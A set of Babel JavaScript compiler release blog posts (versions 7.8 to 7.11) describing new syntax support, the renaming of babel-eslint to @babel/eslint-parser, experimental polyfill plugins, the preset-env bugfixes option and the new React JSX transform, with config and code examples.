Babel now supports parsing these literals: you can add @babel/plugin-syntax-decimal
plugin to your Babel config or, if you use @babel/parser
directly, you can enable the decimal
plugin. Babel doesn't provide polyfill implementations for decimals.
Babel can be configured in a number of ways (programmatically and via JSON/JavaScript configs). This flexibility, however, does not come for free: it can be difficult to understand what are the applicable config files within your project and how Babel merges these configs. You may also indirectly use Babel and the config is generated by a package residing within your node_modules. All these use cases show the need for a way to output config information to help debug any compilation problems.
Babel 7.11 offers an environment variable for this purpose:
# *nix or WSL
BABEL_SHOW_CONFIG_FOR=./src/myComponent.jsx npm start
$env:BABEL_SHOW_CONFIG_FOR = ".\src\myComponent.jsx"; npm start
will print the effective config applied on src/myComponent.jsx
.
Checkout configuration for the detailed usage and example output.
@babel/eslint-parser
(#10709)babel-eslint
has been moved to the Babel monorepo under a new name: @babel/eslint-parser
. It offers better integration between Babel and ESLint, and features complete ES2020 support. In the State of babel-eslint
blog post, Kai has added more about the state of @babel/eslint-parser
.
babel-eslint
is moved to @babel/eslint-parser
!
Existing as a compatibility layer between Babel and ESLint – two projects maintained by two separate teams – babel-eslint
has been a difficult package to maintain since the beginning. Some of the challenges the team has faced while maintaining babel-eslint
:
babel-eslint
has historically been maintained by the Babel team, and ensuring that ESLint's core rules (which are released every two weeks) work with experimental syntax is a monumental task.babel-eslint
relies on is a direct dependency in its package.json
and the plugins it enables are hardcoded, leading to a potential mismatch in versions and enabled language features between compiling and linting. This has historically led to a lot of confusion and hard-to-debug issues, and we believe solving this issue is a big win for both maintainers and end users.babel-eslint
has to be updated to handle changes in both upstream projects, and has often been out of sync with one or the other.The challenges above have added up to babel-eslint
requiring more resources than the team has at its disposal, resulting in babel-eslint
not getting the attention a widely used project (6M downloads a week at the time of this writing) requires to stay up-to-date.
With the next iteration of babel-eslint
, we have decided to publish the package under a new name: @babel/eslint-parser
. To alleviate some of the challenges discussed above, we are doing the following:
@babel/eslint-parser
will require @babel/core
as a peer dependency and will now use Babel core's APIs to read and apply your Babel configuration. This means that the same version of Babel with the same settings will be used for both compiling and linting. This is consistent with what we recommend and do with other packages in the Babel ecosystem.@babel/eslint-parser
will live in the main babel/babel
monorepo with other Babel packages. We hope this will help to mitigate some of the syncing issues babel-eslint
has seen in the past and allow us to lint the repo with the latest source code in GitHub, shortening the feedback loop of how changes in Babel affect linting.babel-eslint
for a number of years now, and as a result of being a maintainer of both Babel and ESLint, is uniquely positioned to focus on the interoperability of these two tools. Over the past few months, he has been working on the code changes discussed above and will continue to support the new packages once they are released.We believe that these packages are ready to be released. Because of all the integrations and projects involved (Babel, ESLint, Prettier, frameworks, various plugins, text editor integrations, command-line tools, etc.), we're sure there will be things that need to be fixed, and we plan to iterate quickly.
Please note that @babel/eslint-parser
will rely on @babel/core
as a peer dependency and this package must be in your project's node_modules
.
Once you have ensured that @babel/core
has been installed, you can run the following commands to upgrade from babel-eslint
and babel-eslint-plugin
to the new packages:
npm uninstall babel-eslint babel-eslint-plugin
npm install --save-dev @babel/eslint-parser @babel/eslint-plugin
yarn remove babel-eslint babel-eslint-plugin
yarn add --dev @babel/eslint-parser @babel/eslint-plugin
pnpm remove babel-eslint babel-eslint-plugin
pnpm add --save-dev @babel/eslint-parser @babel/eslint-plugin
module.exports = {
--- parser: "babel-eslint",
+++ parser: "@babel/eslint-parser"
plugins: [
--- "babel"
+++ "@babel
]
};
@babel/eslint-parser
expects a standard Babel configuration file (.babelrc
or babel.config.js
). For cases where users might not want to use a Babel configuration file or are running Babel through another tool (such as Webpack with babel-loader), @babel/eslint-parser
also supports applying Babel configuration through your ESLint configuration. Please see the babelOptions
configuration option for more details.
Our short-term goal in making the changes outlined above is to make it easier for @babel/eslint-parser
to maintain and to make linting Babel-compiled code with ESLint easier and more reliable. We would love your help in this endeavor! Contributions on GitHub and financial donations go a long way in helping us make this integration the best it can be for the community.
This 7.10 release includes:
#prop in obj
checks for private fields proposal.@babel/preset-env
now compiles ES2015-style Unicode escapes (\u{Babe1}
) to the equivalent legacy syntax (\uDAAA\uDFE1
).?.
)import a from "./a.json" with type: "json"
).React.memo
)!You can read the whole changelog on GitHub.
Alongside this Babel release, we are releasing the first experimental version of our new polyfills compatibility architecture (see below for more details), thanks to Nicolò and some awesome folks in the community! We began discussions about this over a year ago in a RFC issue within the Babel repository.
As an aside, we now have an official RFC process for discussing changes that significantly impact our users: please check it out over in the babel/rfcs
repository! In addition, we've enabled GitHub Discussions on our repository if you have feedback or questions!
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
import.meta
Now that it has reached Stage 4, parsing for import.meta
is enabled by default, thanks to Kiko. Please note that @babel/preset-env
doesn't have any default support for transforming it, because what that object contains is up to the engine and is not defined in the ECMAScript specification.
console.log(import.meta); // { url: "file:///home/user/my-module.js" }
​u{...}
-style Unicode escapes (#11377)We also discovered that we didn't have support for compiling a 5-year-old ECMAScript feature: \u{...}
-style Unicode escapes! Thanks to Justin, @babel/preset-env
can now compile them in strings and identifiers by default.
var \u{1d49c} = "\u{Babe1}";
console.log(\u{1d49c});
var _ud835_udc9c = "\uDAAA\uDFE1";
console.log(_ud835_udc9c);
shippedProposals
option of @babel/preset-env
(#11451)Lastly, thanks to Jùnliàng we have added @babel/plugin-proposal-class-properties
and @babel/plugin-proposal-private-methods
to the shippedProposals
option of @babel/preset-env
. These proposals are not Stage 4 (i.e. part of the ECMAScript standard) yet, but they are already enabled by default in many JavaScript engines.
If you aren't familiar:
class Bork {
// Public Fields
instanceProperty = "bork";
static staticProperty = "babelIsCool";
// Private Fields
#xValue = 0;
a() {
this.#xValue++;
}
// Private methods
get #x() { return this.#xValue; }
set #x(value) {
this.#xValue = value;
}
#clicked() {
this.#x++;
}
}
If you missed it from the last release, in 7.9 we added a new option: "bugfixes": true
which can greatly reduce your code output.
{
"presets": [
["@babel/preset-env", {
"targets": { "esmodules": true }, // Use the targets that you was already using
"bugfixes": true // will be default in Babel 8
}]
]
}
?.
ergonomics (#10961, #11248)In TypeScript 3.9, the interaction between non-null assertions (postfix !
) and optional chaining has been changed to make it more useful.
foo?.bar!.baz
In TypeScript 3.8 and Babel 7.9, the above would be read as (foo?.bar)!.baz
: "If foo
is not nullish, get .bar
from it. Then trust that foo?.bar
is never nullish and always get .bar
from it". This means that when foo
is nullish that code would always throw, because we are trying to get .baz
from undefined
.
In TypeScript 3.9 and Babel 7.10, the code behaves similarly to foo?.bar.baz
: "If foo
is not nullish, get .bar.baz
from it and trust me that foo?.bar
isn't nullish". Thanks to Bruno for helping to implement this!
Additionally, the class fields proposal recently added support for mixing optional chaining ?.
with private fields. This means that the following code is now valid:
obj?.property.#priv;
obj?.#priv;
Note that in the second example, if obj
is not nullish and does not have the #priv
field, it would still throw an error (exactly as obj.#priv
would throw). You can read the next section to see how to avoid it!
in
(#11372)class Person {
#name;
hug(other) {
if (#name in other) console.log(`${this.#name} 🤗 ${other.#name}`);
else console.log("It's not a person!")
}
}
This Stage 1 proposal allows you to statically check if a given object has a specific private field.
Private fields have a built-in "brand check": if you try to access them in an object where they aren't defined, it will throw an exception. You can determine if an object has a particular private field by leveraging this behavior with a try
/catch
statement, but this proposal gives us a more compact and robust syntax to do so.
You can read more about it in the proposal's description and test this proposal by installing the @babel/plugin-proposal-private-property-in-object
plugin and adding it to your Babel config. Thanks to Justin for the PR!
The Modules Attributes proposal (Stage 1) allows providing the engine, module loader or bundler some additional information about the imported file. For example, you could explicitly specify that it should be parsed as JSON:
import metadata from "./package.json" with type: "json";
Additionally, they can also be used with dynamic import()
. Note the support for trailing commas to make it easier to add or remove the second parameter!
const metadata = await import(
"./package.json",
{ with: { type: "json" } },
);
Thanks to Vivek, Babel now supports parsing these attributes: you can add the @babel/plugin-syntax-module-attributes
plugin to your Babel config or, if you are using @babel/parser
directly, you can enable the moduleAttributes
plugin. Currently, we only accept the type
attribute but we might relax this restriction in the future depending on how the proposal evolves.
Babel doesn't transform these attributes, and they should be handled directly by your bundler or a custom plugin. Currently babel module transformers ignore these attributes. We are discussing whether we should pass through these attributes in the future.
React exposes many pure functions used to annotate or wrap elements, for example React.forwardRef
, React.memo
or React.lazy
. However, minifiers and bundlers aren't aware that these functions are pure and thus they cannot remove them.
Thanks to Devon from the Parcel team, @babel/preset-react
now injects /*#__PURE__*/
annotations in those functions calls to mark them as being safe to be tree-shaken away. We had only previously done this with JSX itself (<a></a>
=> /*#__PURE__*/React.createElement("a", null)
)
import React from 'react';
const SomeComponent = React.lazy(() => import('./SomeComponent'));
import React from 'react';
const SomeComponent = /*#__PURE__*/React.lazy(() => import('./SomeComponent'));
babel-polyfills
)In the last three years, @babel/preset-env
has helped users reduce bundle sizes by only transpiling the syntax features and including the core-js
polyfills needed by their target environments.
Currently Babel has three different ways to inject core-js
polyfills in the source code:
@babel/preset-env
's useBuiltIns: "entry"
option, it is possible to inject polyfills for every ECMAScript functionality not natively supported by the target browsers;useBuiltIns: "usage"
, Babel will only inject polyfills for unsupported ECMAScript features but only if they are actually used in the input souce code;@babel/plugin-transform-runtime
, Babel will inject ponyfills (which are "pure" and don't pollute the global scope) for every used ECMAScript feature supported by core-js
. This is usually used by library authors.Our position in the JavaScript ecosystem allows us to push these optimizations even further. @babel/plugin-transform-runtime
has big advantages for some users over useBuiltIns
, but it doesn't consider target environments: it's 2020 and probably very few people need to load an Array.prototype.forEach
polyfill.
Additionally, why should we limit the ability to automatically inject only the necessary polyfills to core-js
? There are also DOM polyfills, Intl polyfills, and polyfills for a myriad of other web platform APIs. Not everyone wants to use core-js
; there are many other valid ECMAScript polyfills which have different tradeoffs (e.g. source size versus spec compliancy), and users should have the ability to use the polyfill of their choice. For example, we are actively working on an es-shims
integration.
What if the logic to inject them was not related to the actual data about the available or required polyfills, so that they can be used and developed independently?
We are now releasing the first experimental version of four new packages:
babel-plugin-polyfill-corejs3
babel-plugin-polyfill-es-shims
babel-plugin-polyfill-regenerator
babel-plugin-polyfill-corejs2
(legacy)These packages all support a method
option for adjusting how they're injected (analogous to what @babel/preset-env
and @babel/plugin-transform-runtime
currently offer). You can inject a polyfill into an entry point (global scope only) or by direct usage in your code (both global scope and "pure" options). Below is a custom CodeSandbox where you can try out the differences between the polyfill options.
We are also releasing @babel/helper-define-polyfill-provider
: a new helper package which makes it possible for polyfill authors and users to define their own polyfill provider plugins.
Big thanks to Jordan for working with Nicolò to make it possible to build the es-shims
plugin!
If you want to read more about these packages, and learn how to set them up, you can check out the project's README
.
These packages are still experimental. We would appreciate feedback about them either on Twitter or on GitHub, but they are not ready for production yet. For example, we still need to wire some polyfills, and we haven't tested the plugins in production applications yet.
@babel/preset-env
, TypeScript 3.8, Flow, and JSX!
A few months ago, Jason Miller started working on @babel/preset-modules
: an experiment to greatly reduce bundle sizes when using the module
/nomodule
pattern. We are excited to announce that its functionality has now been merged into @babel/preset-env
! This means that its optimizations can be applied to all preset-env
targets values, without a separate preset.
Note: These optimizations will be enabled by default in Babel 8. They can be manually enabled in Babel 7.9 by passing in the option { bugfixes: true }
to preset-env
.
This release also has full support for TypeScript 3.8, which introduced explicit type-only imports and exports (i.e. export type { foo }
), and for Flow 0.120, which introduced the declare
modifier for class fields (i.e. class C { declare foo: string }
).
We also worked with the React team to provide a new JSX transform, which will make it possible for React and React-like libraries to further optimize the creation of JSX elements with the addition of the jsx
function vs. React.createElement
.
Lastly, @babel/parser
now supports an additional ECMAScript proposal: Record & Tuple. Please note that this is only parser support, and the transforms are still being worked on.
You can read the whole changelog on GitHub.
Special thanks go to Luna Ruan from the React Team (Facebook) for contributing the new JSX transform, and Rick Button (Bloomberg) who implemented parser support for the Record & Tuple proposal!
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
@babel/preset-env
's bugfixes
option (#11083)The new bugfixes
option in @babel/preset-env
is the successor to using @babel/preset-modules
directly.
If you want more context about the issues that this change helps with, we'd suggest you listen to (or read) the recently published podcast episodes with Jason: #2 Modern JavaScript and the Future of preset-env and #3 Compiling Your Dependencies.
Until now, @babel/preset-env
(and Babel plugins in general) grouped ECMAScript syntax features into collections of closely related smaller features. These groups can be large and include a lot of edge cases. For example, the "function arguments" group and plugin includes destructured, default and rest parameters.
From this grouping information, Babel enables or disables each group based on the browser support target you specify to @babel/preset-env
’s targets
option.
Here's the problem: if any version of any browser in that list contains a bug triggered by modern syntax, the only solution (that we considered at the time) was to enable the corresponding transform group that fixes that bug.
Over time more bugs would eventually be uncovered and reported to our issues, which caused preset-env
to output more code for the sake of these edge cases. In the worst case, it meant that the output was the same as just compiling everything to ES5, which preset-env
was created to help prevent.
When the bugfixes: true
option is enabled, @babel/preset-env
takes a different approach: it transpiles the broken syntax to the closest non-broken modern syntax.
For example: all of the new syntax features relating to function parameters are grouped into the same Babel plugin (@babel/plugin-transform-function-parameters
). When targeting edge 16
, it has a bug related to parsing shorthand destructured parameters with default values within arrow functions:
// this breaks in Edge 16:
const foo = ({ a = 1 }) => {};
// .. but this doesn't:
function foo({ a = 1, b }, ...args) {}
// ... and neither does this:
const foo = ({ a: a = 1 }) => {};
This means that if we give @babel/preset-env
this input and targeted Edge 16:
const foo = ({ a = 1 }, b = 2, ...args) => [a, b, args];
It transforms it down to ES5-like parameters:
const foo = function foo(_ref, b) {
let { a = 1 } = _ref;
if (b === void 0) { b = 2; }
for (
var _len = arguments.length,
args = new Array(_len > 2 ? _len - 2 : 0),
_key = 2; _key < _len; _key++
) {
args[_key - 2] = arguments[_key];
}
return [a, b, args];
};
However, if we enable the bugfixes
option, it only transforms the broken syntax:
const foo = ({ a: a = 1 }, b = 2, ...args) => [a, b, args];
You can see this example in action at our REPL
You can enable this option today by adding it to @babel/preset-env
in your configuration:
{
"presets": [
["@babel/preset-env", {
"targets": { "esmodules": true }, // Use the targets that you was already using
"bugfixes": true
}]
]
}
Currently, the bugfixes
option gives the best results when using the esmodules: true
target, which allows you to target the browsers with native ES modules support and use the module
/nomodule
pattern. We hope to continue improving it over the next few releases, and enable it by default in Babel 8.
Moving forward, we would like to work with the community (including browsers) to allow for this kind of approach to work smoothly as we continually transition in JavaScript's development. In the ideal scenario, Babel would be able to implement and help influence the future of new proposals as they are suggested and refined, and smooth over these edge cases for existing standards so that the minimum compiled output is possible for all users of JavaScript based on their targets.
You can now explicitly mark imports and exports as type-only, similarly to what you can already do in Flow:
import type { SomeThing } from "./some-module.js";
export type { SomeThing };
By doing so, Babel can safely decide which imports or exports are used for types and which are values.
Since Babel doesn't analyze types and works on a per-file basis (similarly to TypeScript's --isolatedModules
option), until now @babel/plugin-transform-typescript
handled imports not used as values as if they were type-only.
Starting from Babel 7.9 you can use the new type
modifier without any configuration change.
We recommend configuring @babel/preset-typescript
or @babel/plugin-transform-typescript
so that it only considers imports as type-only when there is the explicit type
keyword, similarly to TypeScript's --importsNotUsedAsValues preserve
option:
{
"presets": [
["@babel/preset-typescript", {
"onlyRemoveTypeImports": true
}]
]
}
These features were contributed by the Babel team together, and by Siddhant N Trivedi. If you have interested in seeing how it's all done, please check how we did it on YouTube!
declare
fields (#11178)The class fields proposal specifies uninitialized class fields are initialized to undefined
: this is different from what Babel does with Flow, because it simply ignores them.
For this reason, the Flow team has added support for the declare
modfier for class fields:
class Foo {
x: ?string; // A "real" field
declare y: number; // A type-only field
}
In the above example, only y
should be completely removed by Babel.
To avoid breaking changes, we introduced support for declare in class fields behind a flag: "allowDeclareFields"
, supported by both @babel/plugin-transform-flow
and @babel/preset-flow
. This will become default behavior in Babel 8, so it is recommended that you migrate your config to use it:
{
"presets": [
["@babel/preset-flow", {
"allowDeclareFields": true
}]
]
}
The React team created an RFC back in February of last year to discuss simplifying element creation.
In a future stable release, React will support a group of new functions for instantiating JSX elements as an alternative to the legacy general-purpose React.createElement
function. This will allow optimizing them better in the future.
While it's not released in a stable release yet, you can try it out on the experimental React release channel:
npm install react@experimental react-dom@experimental
We worked with the team to finish a new transform that supports compiling JSX to these new functions. It also automatically imports "react"
(or other libraries which support the new API) when needed, so you don't have to manually include it anymore.
As an example, this input:
function Foo() {
return <div />;
}
would turn into:
import { jsx as _jsx } from "react/jsx-runtime";
function Foo() {
return _jsx("div", ...);
}
Note: The functions inside
react/jsx-runtime
andreact/jsx-dev-runtime
are not meant to be used outside the@babel/plugin-transform-react-jsx
and@babel/plugin-transform-react-jsx-development
plugins themselves.
In summary (and please check the RFC for more information), the transform will:
key
separately from other props.__source
and __self
separately from other props.Usage: You can enable this new transform by passing { "runtime": "automatic" }
(as opposed to "classic"
) to @babel/preset-react
(or @babel/plugin-transform-react-jsx
):
{
"presets": [
["@babel/preset-react", {
"runtime": "automatic"
}]
]
}
And starting from Babel 8, "automatic"
will be the default runtime.
You can also enable development mode for this new transform by using the new @babel/plugin-transform-react-jsx-development
transform or by passing { "development": true, "runtime": "automatic" }
to @babel/preset-react
.
You can read mode about this new transform in the docs.
]]>Babel 7.8.0 supports the new ECMAScript 2020 features by default: you don't need to enable individual plugins for nullish coalescing (??
), optional chaining (?.
) and dynamic import()
anymore with preset-env.
We also finished aligning our different configuration files with the formats natively supported by Node.js, a process that we started in the 7.7.0 release.
Lastly, Babel's CLI now supports two new options: --out-file-extension
and --copy-ignored
.
You can read the whole changelog on GitHub.
Shoutout to Abdul Ali, Jack Isherwood, Jayen Ashar, James Beavers, Klaus Meinhardt, Oleksandr Fediashov, Siddhant N Trivedi, Tsubasa Nakayama, Yordis Prieto and ZYSzys for their first PRs!
We also want to thank Thomas Smith for volunteering to help us maintain the important babel-sublime
syntax highlighter plugin, and welcome Raja Sekar, our newest addition to the Babel organization!
If you or your company wants to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
We recently published a funding post detailing our funding plans and our goals. Check it out!
During the last meeting, TC39 moved both the nullish coalescing and optional chaining proposals to Stage 4!
The nullish coalescing operator allows you to provide a fallback value when an expression evaluates to null
or undefined
:
const name = person.fullName ?? "Anonymous";
console.log(`Hello, ${name}!`);
This is similar to how the logical OR (||
) operator works. The difference is that while ||
checks for "falsy" values (i.e. undefined
, null
, false
, 0
, 0n
and ""
), ??
only checks for "nullish" values. This better matches the "value not provided" mental model, and works better with possibly falsy, but valid, values:
const element = { index: 0, value: "foo" };
const index = element.index ?? -1; // 0 :D
const index = element.index || -1; // -1 :(
The optional chaining proposal uses the same concept of "nullish values", allowing optional property accesses on values which could be nullish. It also supports optional function calls and computed properties.
const city = person.address?.city; // person.address could be not defined
const isNeighbor = person.address?.isCloseTo(me);
person.sayHayUsing?.("Twitter"); // The person.sayHayUsing method could be not defined
You can now safely use these new features in your code! If you are already using @babel/preset-env
, you can use these two operators and they will be compiled based on your targets, just like any other ECMAScript feature. If you were using the @babel/plugin-proposal-nullish-coalescing-operator
or @babel/plugin-proposal-optional-chaining
directly, you can remove them from your config:
{
"presets": [
["@babel/env", { "targets": ["last 2 versions"] }]
],
"plugins": [
- "@babel/proposal-optional-chaining",
- "@babel/proposal-nullish-coalescing-operator"
]
}
These features are now also enabled by default in @babel/parser
: if you were using it directly, you can remove the nullishCoalescingOperator
and optionalChaining
parser plugins. We also enabled parsing for dynamic import()
(which has been included in @babel/preset-env
since v7.5.0), so you can safely remove the dynamicImport
plugin.
Babel 6 supported a single, JSON-based, configuration file: .babelrc
.
In Babel 7.0.0, we introduced babel.config.js
(which has different resolution logic) and .babelrc.js
. JavaScript config files can be useful for scenarios needing higher flexibility. This was the situation:
Node.js file type | babel.config.__ | .babelrc.__ |
---|---|---|
.js | ✔️ Supported | ✔️ Supported |
.json | ❌ Not supported | ❔ Supported, with implicit extension |
We strongly recommend reading about the differences between babel.config.js
and .babelrc.js
!
More recently, Node.js 13.2.0 was released, adding support for native ECMAScript modules and the .cjs
and .mjs
file extensions. In Babel 7.7.0 we added support for .cjs
config files to allow users to enable "type": "module"
in their package.json
without breaking Babel, as well as support for babel.config.json
, which allows for static project-wide configuration.
Node.js file type | babel.config.__ | .babelrc.__ |
---|---|---|
.js | ✔️ Supported when "type": "module" is not enabled | ✔️ Supported when "type": "module" is not enabled |
.json | ✔️ Supported | ❔ Supported, with implicit extension |
.cjs | ✔️ Supported | ✔️ Supported |
.mjs | ❌ Not supported | ❌ Not supported |
This release aligns Babel with the file types natively supported by Node.js by allowing .babelrc.json
, babel.config.mjs
, and .babelrc.mjs
.
Node.js file type | babel.config.__ | .babelrc.__ |
---|---|---|
.js | ✔️ Supported | ✔️ Supported |
.json | ✔️ Supported | ✔️ Supported |
.cjs | ✔️ Supported | ✔️ Supported |
.mjs | ✔️ Supported | ✔️ Supported |
Please remember that ECMAScript modules are asynchronous: that's why, for example, you can't require()
them and instead have to use import()
, which returns a promise.
For these reasons, they can only be used when calling Babel via the promise-based or callback-based entry points. They already work with @babel/cli
, babel-loader
and gulp-babel
, and they will work with the next release of rollup-plugin-babel
. Note that they are not supported by babel-eslint
yet.
We added two new flags to @babel/cli
: --copy-ignored
and --out-file-extension
.
--copy-ignored
can be used to copy files that are not transpiled by Babel, either because they are ignored using the --ignore
CLI option, or because "ignore"
is set in a configuration file.
To maintain backward compatibility, in Babel 7.8.4 the default value of the --copy-ignored
option has been changed to true
. If you want to disable it, you can use --no-copy-ignored
.
This is similar to how the --copy-files
option works, but --copy-files
is meant to copy anything which is not transpiled because it isn't a JavaScript file (for example, .css
or .json
), rather than explicitly ignored files.
--out-file-extension
can be used to configure the extension of the files generated by Babel. For example, if you are transpiling .js
files containing native ECMAScript modules in Node.js and want to generate CommonJS files, you might need to use the .cjs
extension:
$ babel src --out-dir lib-cjs --out-file-extension cjs
We are starting to work on the Babel 8.0.0 release in our umbrella issue: #10746.
Babel 8 will only contain breaking changes: we will release a minor version the same day, containing all the bug fixes and new features that would otherwise be released in 8.0.0.
While we don't anticipate a huge migration path, there are two issues which we want to bring to your attention:
Various 3rd party presets are currently using @babel/preset-env
's internal logic to parse compilation targets or to retrieve information about necessary plugins and polyfills.
We have decided to officially support these two use cases by providing two new public packages:
@babel/helper-compilation-targets
, which exports a function to normalize the specified targets and a few other related utilities:
import getTargets from "@babel/helper-compilation-targets";
getTargets({
browsers: ["last 2 chrome versions"],
node: 10,
}) ==
{
chrome: "77.0.0",
node: "10.0.0",
};
@babel/compat-data
, which contains a collection of JSON files where we store all the browsers versions for which each plugin or core-js@2
polyfill is required. It's mostly generated from compat-table
, but we might add other data sources in the future.
If you need data for core-js@3
polyfills, you can use core-js-compat
.
We plan to disallow using internal files starting from Babel 8. If you are relying on other internal APIs, please let us know!
@babel/types
already performs many checks to ensure that the AST you are building is valid. For example, this code will throw because you can't use a statement in place of an expression:
// foo = if (true) {}
t.assignmentExpression(
"=",
t.identifier("foo"),
t.ifStatement(t.booleanLiteral(true), t.blockStatement([]))
);
We are introducing stricter validation to prevent even more invalid ASTs: not only from a tree shape point of view but also ensuring that nodes in the correct position carry valid information. For example, starting from Babel 8 t.identifier("123")
will be disallowed, because 123
is not a valid identifier.
We can't enable these checks in Babel 7.8.0 because the risk of breaking existing plugins is too high, but we highly encourage you to enable these stricter checks using the BABEL_TYPES_8_BREAKING=true
environment variable and open issues (or better, PRs!) to fix the plugins that you are using which won't work with Babel 8.